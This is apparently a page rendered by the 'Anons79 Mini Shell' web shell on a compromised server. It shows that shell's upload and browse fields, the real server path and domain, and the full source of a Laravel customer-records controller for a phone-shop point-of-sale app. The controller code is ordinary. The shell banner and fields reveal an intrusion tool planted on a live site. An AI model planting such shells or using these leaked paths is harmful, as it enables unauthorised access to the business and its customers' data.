Anons79 Mini Shell

Directory : /home/aplikasiposinfo/www/duriancell.fixmate.id/app/Http/Controllers/
Upload File :
Current File : /home/aplikasiposinfo/www/duriancell.fixmate.id/app/Http/Controllers/PelangganController.php

<?php

namespace App\Http\Controllers;

use App\Exports\PelangganExport;
use Illuminate\Http\RedirectResponse;
use Illuminate\Http\Request;
use Illuminate\Http\Response;
use App\Models\Pelanggan;
use App\Models\Penjualan;
use App\Models\Service;
use DateInterval;
use DatePeriod;
use DateTime;
use Illuminate\Support\Carbon;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\DB;
use Maatwebsite\Excel\Facades\Excel;

class PelangganController extends Controller
{
    /**
     * Display a listing of the resource.
     */
    private $sorting_order = "desc";
    public function index(Request $request)
    {

        if ($request->sorting_order == "desc") {
            $this->sorting_order = "asc";
        }
        $sorting_order = $this->sorting_order;
        $begin = new DateTime('-1 month');
        $end = new DateTime();

        $periode = [
            $begin->format('d/m/Y'),
            $end->format('d/m/Y'),
        ];


         // dd($begin, $end);
        $datas = Pelanggan::withCount("riwayat");
        if (request()->periode) {
            $periode = explode(" - ", request()->periode);

            $begin = DateTime::createFromFormat('d/m/Y', $periode[0])->setTime(0, 0, 0);
            $end = DateTime::createFromFormat('d/m/Y', $periode[1])->setTime(23, 59, 59);
            
            if (isset($begin) && isset($end)) {
                $datas->tanggal($begin, $end);
            }
        }
       

        if (isset($request->kecamatan)) {
            $datas->kecamatan($request->kecamatan);
        }

        $countAll = $datas->count();

        $dataKecamatan = Pelanggan::select("kecamatan_pelanggan")->distinct()->get()->sortBy("kecamatan_pelanggan");

       
        if ($request->order) {
            $order = $request->order;
            if ($order == "nama") {
                $datas->orderBy("nama_pelanggan", $sorting_order);
            } else if ($order == "telp") {
                $datas->orderBy("telp_pelanggan", $sorting_order);
            } else if ($order == "alamat") {
                $datas->orderBy("alamat_pelanggan", $sorting_order);
            } else if ($order == "kecamatan") {
                $datas->orderBy("kecamatan_pelanggan", $sorting_order);
            } else if ($order == "nominal") {
                $datas->with("riwayat")->riwayatSum()->groupBy("pelanggans.id")->orderBy("total", $sorting_order);
            } else if ($order == "waktu") {
                $datas->orderBy("created_at", $sorting_order);
            }  else if ($order == "total") {
                $datas->orderBy("riwayat_count", $sorting_order);
            }
        } else {
             $datas->orderBy("riwayat_count", $sorting_order);
        }
        if (isset($request->nama_pelanggan)) {

            $datas = $datas->cari($request->nama_pelanggan);
        }
        // dd($datas->get(), $begin, $end);
       
        $datas = $datas->paginate(15);
        return response()->view("pelanggan.index", compact("request", "datas", "sorting_order", "dataKecamatan", "begin", "end", "countAll","periode"));
    }

    public function exportExcel(Request $request)
    {
        $sorting_order = $this->sorting_order;
        $begin = new DateTime('-1 month');
        $end = new DateTime();
        if (isset($request->begin) && isset($request->end)) {
            $begin = DateTime::createFromFormat('Ymd h:i:s', $request->begin)->setTime(0, 0, 0);
            $end = DateTime::createFromFormat('Ymd h:i:s', $request->end)->setTime(23, 59, 59);
        }
        $begin->format('d/m/Y');
        $end->format('d/m/Y');
        if ($this->sorting_order == "asc") {
            $sorting_order = "desc";
        } else {
            $sorting_order = "asc";
        }

        $datas = Pelanggan::withCount("riwayat")->orderBy("riwayat_count", $sorting_order);
        if (isset($begin) && isset($end)) {
            $datas->tanggal($begin, $end);
        }
        if (isset($request->kecamatan)) {
            $datas->kecamatan($request->kecamatan);
        }

        if ($request->order) {
            $order = $request->order;
            if ($order == "nama") {
                $datas->orderBy("nama_pelanggan", $sorting_order);
            } else if ($order == "telp") {
                $datas->orderBy("telp_pelanggan", $sorting_order);
            } else if ($order == "alamat") {
                $datas->orderBy("alamat_pelanggan", $sorting_order);
            } else if ($order == "nominal") {
                $datas->with("riwayat")->riwayatSum()->groupBy("pelanggans.id")->orderBy("total", $sorting_order);
            } else if ($order == "waktu") {
                $datas->orderBy("created_at", $sorting_order);
            }
        }
        // if (isset($begin) && isset($end)) {
        //     $datas = Pelanggan::tanggal($begin, $end)->paginate(15);
        //     return response()->view("pelanggan.index", compact("request", "datas"));
        // }

        $datas = $datas->get();
        $dataArray = [];
        foreach ($datas as $data) {
            $dataArray[] = [
                $data->nama_pelanggan,
                $data->telp_pelanggan,
                $data->alamat_pelanggan,
                $data->riwayat->sum("biaya"),
                count($data->riwayat),
                $data->created_at ? $data->created_at->toDateTimeString() : "-",
            ];
        }
        // dd($dataArray);

        return Excel::download(new PelangganExport($dataArray), 'Laporan Data-Pelanggan.xlsx');
    }

    /**
     * Show the form for creating a new resource.
     */
    public function create(): Response
    {
        return response()->view("pelanggan.create");
    }

    /**
     * Store a newly created resource in storage.
     */
    public function store(Request $request): RedirectResponse
    {
        try {
            $request->validate([
                'nama_pelanggan' => 'required',
                'telp_pelanggan' => 'required|max:13|unique:pelanggans,telp_pelanggan',
                'alamat_pelanggan' => 'required',
                'kecamatan_pelanggan' => 'required',
            ], ['telp_pelanggan.unique' => 'Nomor telah terdaftar silahkan gunakan nomor yang lain!']);
            Pelanggan::create([
                "nama_pelanggan" => $request->nama_pelanggan,
                "kecamatan_pelanggan" => $request->kecamatan_pelanggan,
                "telp_pelanggan" => $request->telp_pelanggan,
                "alamat_pelanggan" => $request->alamat_pelanggan,
                "pengguna_id" => Auth::user()->id,
            ]);

            return redirect(route("pelanggan.index"))->with('success', 'data berhasil disimpan');
        } catch (\Throwable $th) {
            return redirect()->route('pelanggan.index')->with('error', $th->getMessage());
        }
    }

    /**
     * Display the specified resource.
     */
    public function show(string $id)
    {
        $data = Pelanggan::find($id);
        return response()->view("pelanggan.info", compact("data"));
    }

    /**
     * Show the form for editing the specified resource.
     */
    public function edit(string $id): Response
    {
        $data = Pelanggan::find($id);
        return response()->view("pelanggan.edit", compact("data"));
    }

    /**
     * Update the specified resource in storage.
     */
    public function update(Request $request, string $id): RedirectResponse
    {
        $data = Pelanggan::find($id);
        DB::beginTransaction();
        try {
            $request->validate([
                'nama_pelanggan' => 'required',
                'telp_pelanggan' => 'required|max:13',
                'alamat_pelanggan' => 'required',
                'kecamatan_pelanggan' => 'required',
            ], ['telp_pelanggan.unique' => 'Nomor telah terdaftar silahkan gunakan nomor yang lain!']);
            $data->update([
                "nama_pelanggan" => $request->nama_pelanggan,
                "kecamatan_pelanggan" => $request->kecamatan_pelanggan,
                "telp_pelanggan" => $request->telp_pelanggan,
                "alamat_pelanggan" => $request->alamat_pelanggan,
            ]);

            DB::commit();
            return redirect()->route("pelanggan.index")->with('success', 'data berhasil disimpan');
        } catch (\Throwable $th) {
            DB::rollBack();
            return redirect()->route('pelanggan.index')->with('error', $th->getMessage());
        }
    }

    /**
     * Remove the specified resource from storage.
     */
    public function destroy(string $id): RedirectResponse
    {
        DB::beginTransaction();
        try {
            $data = Pelanggan::find($id);

            $penjualan = Penjualan::where('pelanggan_id', $data->id);
            $service = Service::where('pelanggan_id', $data->id);

            $penjualan->delete();
            $service->delete();
            $data->delete();

            DB::commit();
            return redirect()->route('pelanggan.index')->with('success', 'Pelanggan berhasil dihapus');
        } catch (\Throwable $th) {
            DB::rollback();
            return redirect()->route('pelanggan.index')->with('error', $th->getMessage());
        }
    }

    public function getPelanggan(string $id)
    {
        $datas = Pelanggan::find($id);

        return response()->json([
            'data' => $datas,
        ]);
    }
}

Anons79 File Manager Version 1.0, Coded By Anons79
Email: [email protected]